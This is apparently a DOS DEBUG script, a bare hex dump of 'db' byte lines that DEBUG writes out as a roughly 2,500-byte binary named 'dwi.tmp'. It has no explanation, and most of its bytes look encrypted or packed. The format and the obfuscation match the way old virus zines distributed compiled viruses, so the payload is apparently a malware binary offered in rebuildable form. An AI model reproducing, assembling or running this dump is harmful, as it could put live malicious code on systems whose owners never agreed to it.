db 14 EB 4B 09 5B 81 14 02 B7 E9 4B 09 2B 89 14 18
db A4 B9 4A 09 2B 8D 14 B8 80 1F 14 FE E9 FE E9 E2
db E9 78 96 02 A7 97 2B 17 17 42 04 22 BA 1C 04 22
db 96 1F 4A 07 1B AF 15 07 1B 9B 17 03 0A 11 28 6F
db 17 AE 8C 5D B6 69 13 1E 66 1D A6 85 55 69 B7 1E
db 7E 8E 8C 5D B6 45 36 1E 0A 9E 69 1F 14 08 F9 6D
db 21 16 F0 57 71 8D B5 20 E2 91 1B 17 17 6D 15 58
db 1B 1E E0 AF 4C 1D 16 02 97 52 98 13 14 1F 06 1E
db 66 1D A6 A8 8C 5C C4 CA E8 BF B0 BD B2 B3 B8 B5
db 1A 23 6C 84 41 F7 5C 65 16 89 FE 4D 28 11 AC A1
db AA AB A4 A9 A6 CA 2B 3F 3A 1D 70 9E 0B AF 4B 97
db 1B 29 1C 58 37 1E 0E 12 32 1E C0 DE 01 C6 99 93
db 36 CD C4 C9 A3 78 96 02 A7 97 1B 3F 17 42 50 29
db 1C 42 0E 13 2C 14 98 12 36 1E BE 16 0E 02 32 1F
db 18 12 00 EB 0B 20 6A 7D 11 B3 AA B2 4E 6C 17 1E
db F2 43 FF 19 AA C9 73 7D 19 46 4B F4 CC DA E3 A3
db 1A 20 66 1B 6C 85 77 39 0B 20 7E 9E 64 2B 14 6A
db 65 18 8C 7E 7E 62 8C 7E 7E 0C 62 69 11 85 77 21
db 18 A5 A8 A3 A2 AD A0 AE 88 13 28 08 F3 03 18 61
db 65 14 4E 4B 03 9F FD EB 0B 21 70 9E C7 CF 12 0D
db 0B 65 1D 6F 17 64 8C 7F F2 78 30 6F 17 B0 8C 7E
db 04 02 60 14 04 32 64 14 7E 60 64 2B 16 6B 29 14
db 8C 7E C6 8B 12 BB B6 77 6B 85 77 1D 6B 21 1C 85
db A2 F5 06 1D 6B 7D 1C B3 74 F5 1C AB A2 CD 43 E0
db 77 1D 70 8C C7 5F 12 FA F2 03 18 63 71 14 68 8D
db 14 54 5D 18 CB 0A 5C 55 A7 AB B6 BB 1C 29 1E 18
db B3 1E 64 1F 12 F0 F5 08 B2 F7 14 9E 50 59 1C 0D
db 3B 5D 1C 5D 45 15 1C 9D 16 59 45 14 50 49 1C AB
db A6 7D 1F 09 2B 51 1C B8 D1 48 90 18 A3 1E 64 3F
db 16 F0 F5 08 B2 F7 10 48 82 9F B4 45 36 1E 98 13
db 70 15 16 1C 50 75 1C 59 4D 14 98 13 48 14 F2 12
db 98 13 74 15 BA 7C 66 1B 6C 6B 65 14 8C 7E 30 77
db 97 6D 23 1E 62 21 1C 85 77 CE 51 1D A4 18 E5 3F
db FE 16 7E 9E 8C 7E 7E 46 8C 5C 04 33 18 1C 6A CF
db 1F 60 69 14 64 79 16 F8 5F CF D1 1A 66 1D B8 09
db 0B 69 1D 09 3B 6D 1D 85 77 77 6B 85 77 7F 15 09
db 0B 65 1D CF D5 1C C4 DC EA 1F A0 97 B8 8D AC 5F
db 94 D9 D0 F5 B6 F5 CA C9 48 B7 C6 D5 56 9D FE F7
db C4 F7 FC D7 DC 5F 94 D7 C2 F5 F0 F7 DC FB 16 B3
db C4 FB FC C7 DC C3 FE 5F 98 FB D4 D3 DA CD FE CD
db 16 B1 84 83 4A 99 88 85 16 85 57 05 02 AD C8 F5
db 58 F3 DC 5F D2 D5 DC C3 56 D9 D4 F5 D8 CF FE 47
db 56 ED C8 F5 56 97 B8 8D 54 5F A4 C1 FC 51 F2 D5
db 56 C3 C8 F7 C6 CD CA D1 56 DB FC F7 56 DD 56 97
db D4 C5 CA 5F 56 B1 C4 C3 DE C1 F8 F9 56 5F 84 D7
db C4 C1 FE 5D 0C 0B B8 D5 CE C7 4E 5F F8 D5 56 DD
db FE 5F BA CD F2 F5 CE D5 CA F7 56 91 F2 DD DA D3
db C4 F7 C4 5F C6 DD FA D5 56 5F C6 DD DE 5F C4 F7
db 4A 43 4A 5F 56 ED C8 F5 58 FB DC 5F 56 C3 C8 F7
db 56 D1 C8 CD CA D1 56 5F FE C1 56 DB DC 05 02 FB
db FC C3 CA CD CA D1 56 F7 C6 DD FE 5F D2 F5 CE C7
db F0 CF C4 F7 56 D3 C8 FB 56 DD 56 F1 C6 CD CE D5
db 4E 5F 58 D9 FC EB 4E 5F C6 D5 E4 47 56 D3 F2 CD
db DC C3 DE F9 56 D7 C8 C3 58 F7 56 C7 DC F7 56 D3
db F2 CD DC C3 DE F9 0C 0B FC F9 DC 5F B8 CD CA D7
db C8 F1 F0 5D 56 5F 46 DD CA D7 56 ED C8 F5 58 FB
db DC 5F DE DD CC C3 56 FB C4 D1 C6 F7 56 F1 DC 51
db F2 D5 56 ED C8 F5 F2 5F DA FB C4 D5 CA D7 F0 5D
db 44 05 02 56 76 18 88 77 91 6B 65 14 8C 7E 90 6F
db 13 9B 70 8C 25 85 77 99 B1 69 31 1C 64 17 12 09
db 3B 11 14 BD 19 7D 38 99 90 DA E7 A8 7E 9E 64 29
db 1E 6B 17 1C 8C 7F B0 69 31 1C 64 17 12 09 3B 11
db 14 7D 38 BD 09 99 90 DA E7 A8 90 75 22 E3 0A 93
db 8B 4F 08 93 3B 4F 08 75 16 8B 5F 02 93 8B 5F 02
db EB B6 3D 06 00 75 06 3B C3 8B CC EB 05 3B C3 B9
rcx
9db
n dwi.tmp
w
q
===========================================================================
